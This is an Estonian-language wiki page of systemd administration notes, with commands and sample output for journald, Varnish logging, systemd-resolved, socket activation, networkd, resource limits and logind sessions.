====OpenVPN====&lt;br /&gt;
&lt;br /&gt;
Kui OpenVPN kliendi seadisus asub failis /etc/openvpn/client.conf, siis käivitamiseks sobib öelda&lt;br /&gt;
&lt;br /&gt;
 # systemctl start openvpn@client.service&lt;br /&gt;
&lt;br /&gt;
====Serial konsool====&lt;br /&gt;
&lt;br /&gt;
Serial konsooli käivitamiseks sobib öelda&lt;br /&gt;
&lt;br /&gt;
 # systemctl enable serial-getty@ttyS0.service&lt;br /&gt;
 Created symlink from /etc/systemd/system/getty.target.wants/serial-getty@ttyS0.service \&lt;br /&gt;
   to /lib/systemd/system/serial-getty@.service.&lt;br /&gt;
 &lt;br /&gt;
 # systemctl start serial-getty@ttyS0.service&lt;br /&gt;
&lt;br /&gt;
Tulemusena saab ipmitool, cu, minicom jt programmide abil pöörduda serial konsooli poole.&lt;br /&gt;
&lt;br /&gt;
====NUT====&lt;br /&gt;
&lt;br /&gt;
Tundub, et töötab, nt&lt;br /&gt;
&lt;br /&gt;
 # systemctl status nut-server&lt;br /&gt;
 # systemctl status nut-client&lt;br /&gt;
&lt;br /&gt;
====iptables====&lt;br /&gt;
&lt;br /&gt;
Kasulikud lisamaterjalid&lt;br /&gt;
&lt;br /&gt;
* http://www.auul.pri.ee/wiki/Iptables_kasutamine_Debianiga#iptables-persistant&lt;br /&gt;
&lt;br /&gt;
====rsyslog====&lt;br /&gt;
&lt;br /&gt;
Peatamiseks&lt;br /&gt;
&lt;br /&gt;
 # systemctl stop syslog.socket rsyslog.service&lt;br /&gt;
&lt;br /&gt;
vastasel korral tuleb sõnum sisse ja rsyslog teenus käivitatakse automaatselt.&lt;br /&gt;
&lt;br /&gt;
====Varnish====&lt;br /&gt;
&lt;br /&gt;
Kuulava pordi muutmine failis&lt;br /&gt;
&lt;br /&gt;
 # grep ^ExecS /lib/systemd/system/varnish.service &lt;br /&gt;
 ExecStart=/usr/sbin/varnishd -j unix,user=vcache -F -a :80 -T localhost:6082 -f /etc/varnish/default.vcl -S /etc/varnish/secret -s malloc,256m&lt;br /&gt;
&lt;br /&gt;
Logimisel X-Forwarded-For kasutamiseks&lt;br /&gt;
&lt;br /&gt;
 # grep ^ExecS /lib/systemd/system/varnishncsa.service &lt;br /&gt;
 ExecStart=/usr/bin/varnishncsa -F '%%{X-Forwarded-For}i %%l %%u %%t \&amp;quot;%%r\&amp;quot; %%s %%b \&amp;quot;%%{Referer}i\&amp;quot; \&amp;quot;%%{User-agent}i\&amp;quot;' -a -w /var/log/varnish/varnishncsa.log&lt;br /&gt;
&lt;br /&gt;
Muudatuste kehtestamiseks&lt;br /&gt;
&lt;br /&gt;
 # systemctl daemon-reload&lt;br /&gt;
 # /etc/init.d/varnishncsa restart&lt;br /&gt;
 # /etc/init.d/varnish restart&lt;br /&gt;
&lt;br /&gt;
Logis on näha X-Forwarded-For päisest tulnud aadress ning tcp ühenduse teise otspunkti aadress&lt;br /&gt;
&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
# tail -f /var/log/varnish/varnishncsa.log&lt;br /&gt;
10.204.62.115, 10.184.39.42 - - [02/Oct/2017:17:20:24 +0300] &amp;quot;GET http://www.moraal.ee/ HTTP/1.1&amp;quot; 200 612 &amp;quot;-&amp;quot; &amp;quot;Wget/1.17.1 (linux-gnu)&amp;quot;&lt;br /&gt;
10.204.62.115, 10.184.39.42 - - [02/Oct/2017:17:20:24 +0300] &amp;quot;GET http://www.moraal.ee/ HTTP/1.1&amp;quot; 200 612 &amp;quot;-&amp;quot; &amp;quot;Wget/1.17.1 (linux-gnu)&amp;quot;&lt;br /&gt;
10.204.62.115, 10.184.39.42 - - [02/Oct/2017:17:20:24 +0300] &amp;quot;GET http://www.moraal.ee/ HTTP/1.1&amp;quot; 200 612 &amp;quot;-&amp;quot; &amp;quot;Wget/1.17.1 (linux-gnu)&amp;quot;&lt;br /&gt;
...&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
===Logimine===&lt;br /&gt;
&lt;br /&gt;
Systemd sisaldab logimise komponenti journald. &lt;br /&gt;
&lt;br /&gt;
====Süsteemi alglaadimine====&lt;br /&gt;
&lt;br /&gt;
Logimise haldusutiliit näitab vaikimisi kogu kogutud logi alates viimasest alglaadimisest, vanemad sissekanded eespool&lt;br /&gt;
&lt;br /&gt;
 # journalctl&lt;br /&gt;
 -- Logs begin at Mon 2015-07-27 23:03:45 EEST, end at Tue 2015-07-28 08:41:14 EEST. --&lt;br /&gt;
 Jul 27 23:03:45 systemd systemd-journal[171]: Runtime journal is using 4.0M (max allowed 9.3M, trying to leave 14.0M free of 89.7M available → current limit 9.3M).&lt;br /&gt;
 Jul 27 23:03:45 systemd systemd-journal[171]: Runtime journal is using 4.0M (max allowed 9.3M, trying to leave 14.0M free of 89.7M available → current limit 9.3M).&lt;br /&gt;
 Jul 27 23:03:45 systemd kernel: Initializing cgroup subsys cpuset&lt;br /&gt;
 Jul 27 23:03:45 systemd kernel: Initializing cgroup subsys cpu&lt;br /&gt;
 Jul 27 23:03:45 systemd kernel: Initializing cgroup subsys cpuacct&lt;br /&gt;
 Jul 27 23:03:45 systemd kernel: Linux version 4.0.0-2-amd64 (debian-kernel@lists.debian.org) (gcc version 4.9.3 (Debian 4.9.3-2) ) #1 SMP Debian 4.0.8-2 (2015-07-22)&lt;br /&gt;
 Jul 27 23:03:45 systemd kernel: Command line: BOOT_IMAGE=/vmlinuz-4.0.0-2-amd64 root=/dev/mapper/systemd-root ro console=ttyS0,9600&lt;br /&gt;
 ...&lt;br /&gt;
&lt;br /&gt;
journald töötamisest annab tunnistust protsess&lt;br /&gt;
&lt;br /&gt;
 # ps aux | grep journald&lt;br /&gt;
 ..&lt;br /&gt;
 root        172  0.1  1.0  35112  5208 ?        Ss   08:55   0:00 /lib/systemd/systemd-journald&lt;br /&gt;
&lt;br /&gt;
====Märkused====&lt;br /&gt;
&lt;br /&gt;
Tundub, et vahel võib The Journal seisma jääda (nt saab failisüsteem täis vms), see paistab sedasi ja midagi ei logita (nt logger protsessiga)&lt;br /&gt;
&lt;br /&gt;
 Mar 28 03:37:01 keskus systemd-journal[29787]: Journal stopped&lt;br /&gt;
 -- Subject: The Journal has been stopped&lt;br /&gt;
 -- Defined-By: systemd&lt;br /&gt;
 -- Support: http://lists.freedesktop.org/mailman/listinfo/systemd-devel&lt;br /&gt;
&lt;br /&gt;
Käivitamiseks&lt;br /&gt;
&lt;br /&gt;
 # systemctl start systemd-journald&lt;br /&gt;
&lt;br /&gt;
 # journalctl -xn&lt;br /&gt;
 ...&lt;br /&gt;
 May 19 02:36:01 keskus systemd[1]: Starting Session 81008 of user root.&lt;br /&gt;
 May 19 02:36:01 keskus systemd[1]: Started Session 81008 of user root.&lt;br /&gt;
 May 19 02:36:01 keskus systemd[1]: Starting Journal Socket (/dev/log).&lt;br /&gt;
 May 19 02:36:01 keskus systemd[1]: Listening on Journal Socket (/dev/log).&lt;br /&gt;
 May 19 02:36:01 keskus systemd[1]: Starting Journal Socket.&lt;br /&gt;
 May 19 02:36:01 keskus systemd[1]: Listening on Journal Socket.&lt;br /&gt;
 May 19 02:36:01 keskus systemd[1]: Starting Journal Service...&lt;br /&gt;
 May 19 02:36:01 keskus systemd[1]: Started Journal Service.&lt;br /&gt;
 May 19 02:36:01 keskus systemd-journal[32447]: Journal started&lt;br /&gt;
 -- Subject: The Journal has been started&lt;br /&gt;
 -- Defined-By: systemd&lt;br /&gt;
 -- Support: http://lists.freedesktop.org/mailman/listinfo/systemd-devel&lt;br /&gt;
 --&lt;br /&gt;
 -- The system journal process has been starting up, opened the journal&lt;br /&gt;
 -- files for writing and is now ready to process requests.&lt;br /&gt;
&lt;br /&gt;
====Apache veebiserver====&lt;br /&gt;
&lt;br /&gt;
Kui Apache seadistusfailis on viga, siis see paistab journald juurest välja selline&lt;br /&gt;
&lt;br /&gt;
 # journalctl -u apache2&lt;br /&gt;
 ..&lt;br /&gt;
 Jul 28 09:11:31 systemd systemd[1]: Starting LSB: Apache2 web server...&lt;br /&gt;
 Jul 28 09:11:31 systemd apache2[2491]: Starting web server: apache2 failed!&lt;br /&gt;
 Jul 28 09:11:31 systemd apache2[2491]: The apache2 configtest failed. ... (warning).&lt;br /&gt;
 Jul 28 09:11:31 systemd apache2[2491]: Output of config test was:&lt;br /&gt;
 Jul 28 09:11:31 systemd apache2[2491]: AH00526: Syntax error on line 1 of /etc/apache2/sites-enabled/000-default.conf:&lt;br /&gt;
 Jul 28 09:11:31 systemd apache2[2491]: &amp;lt;VirtualHost&amp;gt; directive missing closing '&amp;gt;'&lt;br /&gt;
 Jul 28 09:11:31 systemd apache2[2491]: Action 'configtest' failed.&lt;br /&gt;
 Jul 28 09:11:31 systemd apache2[2491]: The Apache error log may have more information.&lt;br /&gt;
 Jul 28 09:11:31 systemd systemd[1]: apache2.service: Control process exited, code=exited status=1&lt;br /&gt;
 Jul 28 09:11:31 systemd systemd[1]: Failed to start LSB: Apache2 web server.&lt;br /&gt;
 Jul 28 09:11:31 systemd systemd[1]: apache2.service: Unit entered failed state.&lt;br /&gt;
 Jul 28 09:11:31 systemd systemd[1]: apache2.service: Failed with result 'exit-code'.&lt;br /&gt;
&lt;br /&gt;
kus&lt;br /&gt;
&lt;br /&gt;
* journald tegeleb apache2 protsessidega seotud nö süsteemse logiga, mitte http päringute logimisega&lt;br /&gt;
&lt;br /&gt;
====Kasulikud lisamaterjalid====&lt;br /&gt;
&lt;br /&gt;
* https://www.digitalocean.com/community/tutorials/how-to-use-journalctl-to-view-and-manipulate-systemd-logs&lt;br /&gt;
* http://0pointer.de/blog/projects/journalctl.html&lt;br /&gt;
&lt;br /&gt;
===targetite vahel liikumine===&lt;br /&gt;
&lt;br /&gt;
Nö init=/bin/bash keskkonda liikumiseks tuleb kasutada bootloaderis tuuma real parameetrit&lt;br /&gt;
&lt;br /&gt;
 systemd.unit=emergency.target&lt;br /&gt;
&lt;br /&gt;
tulemusena jõutakse (arvuti hostname on antud juhul systemd)&lt;br /&gt;
&lt;br /&gt;
 ..&lt;br /&gt;
 Welcome to Debian GNU/Linux stretch/sid!&lt;br /&gt;
 &lt;br /&gt;
 [260222.496889] systemd[1]: Set hostname to &amp;lt;systemd&amp;gt;.&lt;br /&gt;
 [  OK  ] Created slice Root Slice.&lt;br /&gt;
 [260223.089638] systemd[1]: Created slice Root Slice.&lt;br /&gt;
 [260223.096748] systemd[1]: Starting Root Slice.&lt;br /&gt;
 [  OK  ] Created slice System Slice.&lt;br /&gt;
 [260223.109289] systemd[1]: Created slice System Slice.&lt;br /&gt;
 [260223.115005] systemd[1]: Starting System Slice.&lt;br /&gt;
 [  OK  ] Started Emergency Shell.&lt;br /&gt;
 [260223.134133] systemd[1]: Started Emergency Shell.&lt;br /&gt;
 [260223.146296] systemd[1]: Starting Emergency Shell...&lt;br /&gt;
          Starting Emergency Shell...&lt;br /&gt;
 [  OK  ] Reached target Emergency Mode.&lt;br /&gt;
 [260223.192047] systemd[1]: Reached target Emergency Mode.&lt;br /&gt;
 [260223.205684] systemd[1]: Startup finished in 3.658s (kernel) + 967ms (userspace) = 4.626s.&lt;br /&gt;
 [260223.221455] systemd[1]: Starting Emergency Mode.&lt;br /&gt;
 [260223.232336] systemd[157]: emergency.service: Failed at step EXEC spawning /bin/plymouth: No such file or directory&lt;br /&gt;
 Welcome to emergency mode! After logging in, type &amp;quot;journalctl -xb&amp;quot; to view&lt;br /&gt;
 system logs, &amp;quot;systemctl reboot&amp;quot; to reboot, &amp;quot;systemctl default&amp;quot; or ^D to&lt;br /&gt;
 try again to boot into default mode.&lt;br /&gt;
 Give root password for maintenance&lt;br /&gt;
 (or press Control-D to continue): &amp;lt;root parool&amp;gt;&lt;br /&gt;
 root@systemd:~#&lt;br /&gt;
&lt;br /&gt;
Tavalisse nn multi-user režiimi jõudmiseks sobib öelda seejärel&lt;br /&gt;
&lt;br /&gt;
 # systemctl isolate multi-user.target&lt;br /&gt;
&lt;br /&gt;
Arvuti väljalülitamiseks sh toitest&lt;br /&gt;
&lt;br /&gt;
 # systemctl poweroff&lt;br /&gt;
&lt;br /&gt;
===systemd-socket-proxyd===&lt;br /&gt;
&lt;br /&gt;
systemd-ocket-proxyd võimaldab käivitada teenuse selle poole pöördumisel. Nt nginx protsessid käivitatakse port 80 poole pöördumisel. Selleks tuleb&lt;br /&gt;
&lt;br /&gt;
* seadistada nginx server kuulama port 8080&lt;br /&gt;
&lt;br /&gt;
 # cat /etc/nginx/sites-available/default&lt;br /&gt;
 ..&lt;br /&gt;
 server {&lt;br /&gt;
        listen 8080 default_server;&lt;br /&gt;
 ...&lt;br /&gt;
&lt;br /&gt;
* tekitada .service tüüpi unit (erinevalt man systemd-socket-proxyd soovitusest on JoinsNamespaceOf ja PrivateNetwork välja kommenteeritud ja lülitatud)&lt;br /&gt;
&lt;br /&gt;
 # cat /etc/systemd/system/proxy-to-nginx.service &lt;br /&gt;
 [Unit]&lt;br /&gt;
 Rquires=nginx.service&lt;br /&gt;
 After=nginx.service&lt;br /&gt;
 # JoinsNamespaceOf=nginx.service&lt;br /&gt;
&lt;br /&gt;
 [Service]&lt;br /&gt;
 ExecStart=/lib/systemd/systemd-socket-proxyd 127.0.0.1:8080&lt;br /&gt;
 PrivateTmp=yes&lt;br /&gt;
 PrivateNetwork=no&lt;br /&gt;
&lt;br /&gt;
* tekitada .socket tüüpi unit&lt;br /&gt;
&lt;br /&gt;
 # cat /etc/systemd/system/proxy-to-nginx.socket &lt;br /&gt;
 [Socket]&lt;br /&gt;
 ListenStream=80&lt;br /&gt;
 &lt;br /&gt;
 [Install]&lt;br /&gt;
 WantedBy=sockets.target&lt;br /&gt;
&lt;br /&gt;
Seejärel tuleb sisse lülitada ja käivitada socket unit (nginx ise ega proxy-to-nginx.service ei pea töötama)&lt;br /&gt;
&lt;br /&gt;
 # systemctl enable proxy-to-nginx.socket&lt;br /&gt;
 # systemctl start proxy-to-nginx.socket&lt;br /&gt;
&lt;br /&gt;
Tulemusena pöördudes aadressile http://127.0.0.1:80/ käivitatakse .service ja nginx protsessid.&lt;br /&gt;
&lt;br /&gt;
Kasulikud lisamaterjalid&lt;br /&gt;
&lt;br /&gt;
* https://developer.atlassian.com/blog/2015/03/docker-systemd-socket-activation/&lt;br /&gt;
* man systemd-socket-proxyd&lt;br /&gt;
&lt;br /&gt;
===systemd-resolved===&lt;br /&gt;
&lt;br /&gt;
Paigaldada pakett libnss-resolve&lt;br /&gt;
&lt;br /&gt;
 # apt-get install libnss-resolve&lt;br /&gt;
&lt;br /&gt;
Kirjeldada meelepärane nö ISP nimeserver&lt;br /&gt;
&lt;br /&gt;
 # cat /etc/systemd/resolved.conf&lt;br /&gt;
 &lt;br /&gt;
 [Resolve]&lt;br /&gt;
 DNS=10.192.0.53&lt;br /&gt;
&lt;br /&gt;
Lülitada sisse systemd-resolved&lt;br /&gt;
&lt;br /&gt;
 # systemctl start systemd-resolved&lt;br /&gt;
 # systemctl enable systemd-resolved&lt;br /&gt;
&lt;br /&gt;
Testida systemd-resolved rekursiivse nimeserveri töötamist&lt;br /&gt;
&lt;br /&gt;
 # /lib/systemd/systemd-resolve-host kuutorvaja.eenet.ee&lt;br /&gt;
 kuutorvaja.eenet.ee: 193.40.0.7&lt;br /&gt;
 &lt;br /&gt;
 -- Information acquired via protocol DNS in 157.3ms.&lt;br /&gt;
&lt;br /&gt;
Kustutada fail /etc/resolv.conf&lt;br /&gt;
&lt;br /&gt;
 # rm /etc/resolv.conf&lt;br /&gt;
&lt;br /&gt;
Kasutada failis /etc/nsswitch.conf rida&lt;br /&gt;
&lt;br /&gt;
 hosts:          files resolve dns&lt;br /&gt;
&lt;br /&gt;
Soovi korral&lt;br /&gt;
&lt;br /&gt;
 # ln -fs /run/systemd/resolve/resolv.conf /etc/resolv.conf&lt;br /&gt;
&lt;br /&gt;
Debugi sisselülitamine&lt;br /&gt;
&lt;br /&gt;
 # cp /lib/systemd/system/systemd-resolved.service /etc/systemd/system&lt;br /&gt;
&lt;br /&gt;
kus on sektsioonis Service lisatud debug&lt;br /&gt;
&lt;br /&gt;
 [Service]&lt;br /&gt;
 &lt;br /&gt;
 ..&lt;br /&gt;
 Environment=SYSTEMD_LOG_LEVEL=debug&lt;br /&gt;
&lt;br /&gt;
dns cache jms logisse kirjutamiseks&lt;br /&gt;
&lt;br /&gt;
 # kill -SIGUSR1 PID&lt;br /&gt;
&lt;br /&gt;
Tulemuse esitamine&lt;br /&gt;
&lt;br /&gt;
 # systemd-resolve --status&lt;br /&gt;
&lt;br /&gt;
Logi jälgimine &lt;br /&gt;
&lt;br /&gt;
 # journalctl -f -u systemd-resolved&lt;br /&gt;
&lt;br /&gt;
===localectl===&lt;br /&gt;
&lt;br /&gt;
 # localectl list-locales&lt;br /&gt;
 C.UTF-8&lt;br /&gt;
 en_US.utf8&lt;br /&gt;
&lt;br /&gt;
===Service haldamine===&lt;br /&gt;
&lt;br /&gt;
Käivitamine&lt;br /&gt;
&lt;br /&gt;
 # systemctl start apache2&lt;br /&gt;
&lt;br /&gt;
Oleku küsimine&lt;br /&gt;
&lt;br /&gt;
 # systemctl status apache2&lt;br /&gt;
&lt;br /&gt;
Seiskamine&lt;br /&gt;
&lt;br /&gt;
 # systemctl stop apache2&lt;br /&gt;
&lt;br /&gt;
Väljalülitamine, st selliselt seadistatud teenust ei käivitata automaatselt (süsteemi alglaadimisel, mingi event esinemisel vms), aga käsitsi start abil saab käivitada&lt;br /&gt;
&lt;br /&gt;
 # systemctl disable apache2&lt;br /&gt;
&lt;br /&gt;
Sisselülitamiseks&lt;br /&gt;
&lt;br /&gt;
 # systemctl enable apache2&lt;br /&gt;
&lt;br /&gt;
Maskeerimine, selliselt seadistatud teenust ei saa üldse käivitada&lt;br /&gt;
&lt;br /&gt;
 # systemctl mask apache2&lt;br /&gt;
&lt;br /&gt;
Maskeerimise väljalülitamiseks&lt;br /&gt;
&lt;br /&gt;
 # systemctl unmask apache2&lt;br /&gt;
&lt;br /&gt;
Kõigi service'ite nimekirja küsimine (töötavate küsimiseks jätta -a ära; sarnaselt saab küsida target, socket, mount)&lt;br /&gt;
&lt;br /&gt;
 # systemctl list-units --type service -a&lt;br /&gt;
&lt;br /&gt;
Kõigi failide nimekirja küsimine&lt;br /&gt;
&lt;br /&gt;
 # systemctl list-unit-files --type=service&lt;br /&gt;
&lt;br /&gt;
systemd seadistustes tehtud muudatuste esitamine&lt;br /&gt;
&lt;br /&gt;
 # systemd-delta&lt;br /&gt;
&lt;br /&gt;
Sõltuvuste nimekirja esitamine&lt;br /&gt;
&lt;br /&gt;
 # systemctl list-dependencies sshd.service&lt;br /&gt;
&lt;br /&gt;
Teenuse omaduste esitamiseks&lt;br /&gt;
&lt;br /&gt;
 # systemctl show sshd.service&lt;br /&gt;
&lt;br /&gt;
Unitite seadistusfailidega töötamiseks sobib öelda (vastavalt redigeeritakse /etc/systemd/system/nginx.service, /etc/systemd/system/nginx.service.d/failinimi või esitatakse faili sisu)&lt;br /&gt;
&lt;br /&gt;
 # systemctl edit --full nginx.service&lt;br /&gt;
 # systemctl edit nginx.service&lt;br /&gt;
 # systemctl cat nginx.service&lt;br /&gt;
&lt;br /&gt;
===systemd-networkd===&lt;br /&gt;
&lt;br /&gt;
systemd-networkd tegeleb võrgu seadistamisega. Nt nspawn konteinerile saab võrgu seadistada selliselt&lt;br /&gt;
&lt;br /&gt;
* seadistada konteinerit hostiva arvuti võrguühendus nt bridge-utils bridge abil&lt;br /&gt;
&lt;br /&gt;
* tekitada konteinerisse seadistusfail (kui arvutis on mitu võrguliidest, siis võiks iga liidese jaoks olla oma fail)&lt;br /&gt;
&lt;br /&gt;
 # cat /etc/systemd/network/50-static.network &lt;br /&gt;
 [Match]&lt;br /&gt;
 Name=host0&lt;br /&gt;
 &lt;br /&gt;
 [Network]&lt;br /&gt;
 Address=192.168.10.16/24&lt;br /&gt;
 Gateway=192.168.10.254&lt;br /&gt;
&lt;br /&gt;
* /etc/network/interfaces failis kirjeldada vaid lo seade&lt;br /&gt;
&lt;br /&gt;
 # cat /etc/network/interfaces&lt;br /&gt;
 source /etc/network/interfaces.d/*&lt;br /&gt;
 auto lo&lt;br /&gt;
 iface lo inet loopback&lt;br /&gt;
&lt;br /&gt;
* võrgu käivitamiseks öelda&lt;br /&gt;
&lt;br /&gt;
 # systemctl start systemd-networkd&lt;br /&gt;
&lt;br /&gt;
* ipv4 ja ipv6 aadressi seadistamiseks&lt;br /&gt;
&lt;br /&gt;
 ..&lt;br /&gt;
 [Network]&lt;br /&gt;
 Gateway=192.168.10.254&lt;br /&gt;
 &lt;br /&gt;
 [Address]&lt;br /&gt;
 Address=192.168.10.16/24&lt;br /&gt;
 &lt;br /&gt;
 [Address]&lt;br /&gt;
 Address=110:1/64&lt;br /&gt;
&lt;br /&gt;
===Konsooli alglaadimisjärgse puhastamise lõpetamine===&lt;br /&gt;
&lt;br /&gt;
Järgneva töötamise eelduseks on /etc/default/grub failis &amp;quot;quiet&amp;quot; eemaldamine, vt man systemd -&amp;gt; ShowStatus 'Defaults to enabled, unless quiet is passed as kernel command line option, in which case it defaults to error.' Alternatiiv on kasutada kernel argumenti 'systemd.show_status=1'.&lt;br /&gt;
&lt;br /&gt;
Viisakas variant&lt;br /&gt;
&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
# systemctl edit getty@tty1&lt;br /&gt;
..&lt;br /&gt;
&lt;br /&gt;
[Service]&lt;br /&gt;
TTYVTDisallocate=no&lt;br /&gt;
&lt;br /&gt;
...&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Vulgaarsem variant&lt;br /&gt;
&lt;br /&gt;
 # mkdir /etc/systemd/system/getty@tty1.service.d&lt;br /&gt;
 # cat /etc/systemd/system/getty@tty1.service.d/noclear.conf&lt;br /&gt;
 [Service]&lt;br /&gt;
 TTYVTDisallocate=no&lt;br /&gt;
&lt;br /&gt;
Ja järgmisel alglaadimisel enam ekraani ei puhastata&lt;br /&gt;
&lt;br /&gt;
 # reboot&lt;br /&gt;
&lt;br /&gt;
NB! Selleks, et tuuma teateid oleks näha tuleb lisaks GRUB2 seadistusfailis kasutada rida&lt;br /&gt;
&lt;br /&gt;
 # cat /etc/default/grub&lt;br /&gt;
 ..&lt;br /&gt;
 GRUB_CMDLINE_LINUX_DEFAULT=&amp;quot;&amp;quot;&lt;br /&gt;
 ...&lt;br /&gt;
&lt;br /&gt;
ning öelda&lt;br /&gt;
&lt;br /&gt;
 # update-grub&lt;br /&gt;
&lt;br /&gt;
Kasulikud lisamaterjalid&lt;br /&gt;
&lt;br /&gt;
* http://mywiki.wooledge.org/SystemdNoClear&lt;br /&gt;
* https://wiki.archlinux.org/index.php/Systemd_FAQ&lt;br /&gt;
&lt;br /&gt;
===journalctl kasuamine===&lt;br /&gt;
&lt;br /&gt;
Bootimisest alates antud logi sissekannete esitamiseks sobib öelda&lt;br /&gt;
&lt;br /&gt;
 # journalctl -b&lt;br /&gt;
&lt;br /&gt;
Selleks, et näha erinevate bootimiskordade logi tuleb öelda&lt;br /&gt;
&lt;br /&gt;
 # mkdir /var/log/journal&lt;br /&gt;
 # sed -ri s/^#Storage=auto/Storage=persistent/ /etc/systemd/journald.conf&lt;br /&gt;
&lt;br /&gt;
tulemusena saab nimekirja vaadata&lt;br /&gt;
&lt;br /&gt;
 # journalctl --list-boots&lt;br /&gt;
&lt;br /&gt;
ning konkreetse korra sissekandeid nt&lt;br /&gt;
&lt;br /&gt;
 # journalctl -b -2&lt;br /&gt;
&lt;br /&gt;
Uniti vms logi follow režiimis esitamiseks&lt;br /&gt;
&lt;br /&gt;
 # journalctl -n 20 -f -u ssh&lt;br /&gt;
&lt;br /&gt;
===Systemd debugimine===&lt;br /&gt;
&lt;br /&gt;
TODO&lt;br /&gt;
&lt;br /&gt;
Kasulikud lisamaterjalid&lt;br /&gt;
&lt;br /&gt;
* http://freedesktop.org/wiki/Software/systemd/Debugging/&lt;br /&gt;
&lt;br /&gt;
===Ressursikasutuse kontrollimine===&lt;br /&gt;
&lt;br /&gt;
 # grep -v &amp;quot;^#&amp;quot; /etc/systemd/system.conf&lt;br /&gt;
 &lt;br /&gt;
 [Manager]&lt;br /&gt;
 DefaultCPUAccounting=yes&lt;br /&gt;
 DefaultBlockIOAccounting=yes&lt;br /&gt;
 DefaultMemoryAccounting=yes&lt;br /&gt;
&lt;br /&gt;
 # systemctl set-property nginx.service MemoryLimit=10M&lt;br /&gt;
&lt;br /&gt;
===systemd-run===&lt;br /&gt;
&lt;br /&gt;
 $ systemd-run --user --unit=limit-test.scope --scope -p MemoryAccounting=yes -p MemoryLimit=2M bash&lt;br /&gt;
&lt;br /&gt;
 $ systemctl show --user limit-test.scope | grep Mem&lt;br /&gt;
 MemoryAccounting=yes&lt;br /&gt;
 MemoryLimit=2M&lt;br /&gt;
&lt;br /&gt;
või&lt;br /&gt;
&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
root@ph-minio-01:~# systemd-run --user --scope -p MemoryMax=10M -p MemorySwapMax=0 bash&lt;br /&gt;
Running as unit: run-p10909-i11209.scope; invocation ID: d3b7a7cc8af2431282ac1e1e7d469e2a&lt;br /&gt;
&lt;br /&gt;
root@ph-minio-01:~# python3 -c 'a = &amp;quot;x&amp;quot; * 20 * 1024 * 1024'&lt;br /&gt;
Killed&lt;br /&gt;
&lt;br /&gt;
root@ph-minio-01:~#&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
===systemd-boot===&lt;br /&gt;
&lt;br /&gt;
TODO&lt;br /&gt;
&lt;br /&gt;
Kasulikud lisamaterjalid&lt;br /&gt;
&lt;br /&gt;
* https://wiki.archlinux.org/index.php/systemd-boot&lt;br /&gt;
&lt;br /&gt;
===systemd-logind===&lt;br /&gt;
&lt;br /&gt;
====Mõisted====&lt;br /&gt;
&lt;br /&gt;
* seat&lt;br /&gt;
* session&lt;br /&gt;
&lt;br /&gt;
====Tööpõhimõte====&lt;br /&gt;
&lt;br /&gt;
Kasutaja sisselomisel moodustatakse nö sessioon&lt;br /&gt;
&lt;br /&gt;
* '$ systemd --user ..' - käivitatakse per kasutaja systemd lahendus (seejuurde kuulub systemd-user service'ite käivitamine)&lt;br /&gt;
* '$ busctl lis') - per kasutaja dbus käivitamine (busctl list)&lt;br /&gt;
* '$ lsns' - moodustatakse per kasutaja namespace'ide komplekt (user, mount, pid jne)&lt;br /&gt;
* 'man pam_systemd' - pam kaudu kutsutakse välja kasutajapõhine systemd lahendus&lt;br /&gt;
&lt;br /&gt;
nn linger abil saab kasutaja sessiooni tekitada automaatselt süsteemi algkäivituse käigus&lt;br /&gt;
&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
====Misc====&lt;br /&gt;
&lt;br /&gt;
systemd-logind asendab ConsoleKit lahenduse. nt saab küsida&lt;br /&gt;
&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
# loginctl list-sessions&lt;br /&gt;
   SESSION        UID USER             SEAT             TTY             &lt;br /&gt;
        31          0 root             seat0            /dev/tty2       &lt;br /&gt;
       189       1001 priit            seat0            /dev/tty4       &lt;br /&gt;
         2       1000 imre             seat0                            &lt;br /&gt;
        c5        111 lightdm          seat0                            &lt;br /&gt;
       187       1001 priit            seat0            /dev/tty3       &lt;br /&gt;
        33       1000 imre             seat0                            &lt;br /&gt;
&lt;br /&gt;
6 sessions listed.&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Arvuti sees root kasutajana tavakasutaja service nimekirja küsimine&lt;br /&gt;
&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
root@ph-minio-01:~# systemctl --user -M kasutaja@.host list-units --type=service&lt;br /&gt;
  UNIT             LOAD   ACTIVE SUB     DESCRIPTION&lt;br /&gt;
  dbus.service     loaded active running D-Bus User Message Bus&lt;br /&gt;
  nginx-08.service loaded active running My Nginx Quadlet Service&lt;br /&gt;
  nginx-09.service loaded active running My Nginx 09 Quadlet Service&lt;br /&gt;
...&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
kasutaja status küsimine&lt;br /&gt;
&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
kasutaja@ph-minio-01:~$ loginctl user-status&lt;br /&gt;
kasutaja (1000)&lt;br /&gt;
   Since: Sun 2026-04-19 18:59:50 EEST; 1h 15min ago&lt;br /&gt;
   State: active&lt;br /&gt;
Sessions: *69 68&lt;br /&gt;
  Linger: no&lt;br /&gt;
    Unit: user-1000.slice&lt;br /&gt;
          ├─session-69.scope&lt;br /&gt;
          │ ├─3556 &amp;quot;sshd-session: kasutaja [priv]&amp;quot;&lt;br /&gt;
          │ ├─3563 &amp;quot;sshd-session: kasutaja@pts/1&amp;quot;&lt;br /&gt;
          │ ├─3564 -bash&lt;br /&gt;
          │ ├─3883 loginctl user-status&lt;br /&gt;
          │ └─3884 pager&lt;br /&gt;
...&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
kus&lt;br /&gt;
&lt;br /&gt;
* linger info - no&lt;br /&gt;
&lt;br /&gt;
Kasulikud lisamaterjalid&lt;br /&gt;
&lt;br /&gt;
* https://yakking.branchable.com/posts/systemd-4-logind/&lt;br /&gt;
&lt;br /&gt;
===systemd system service===&lt;br /&gt;
&lt;br /&gt;
TODO&lt;br /&gt;
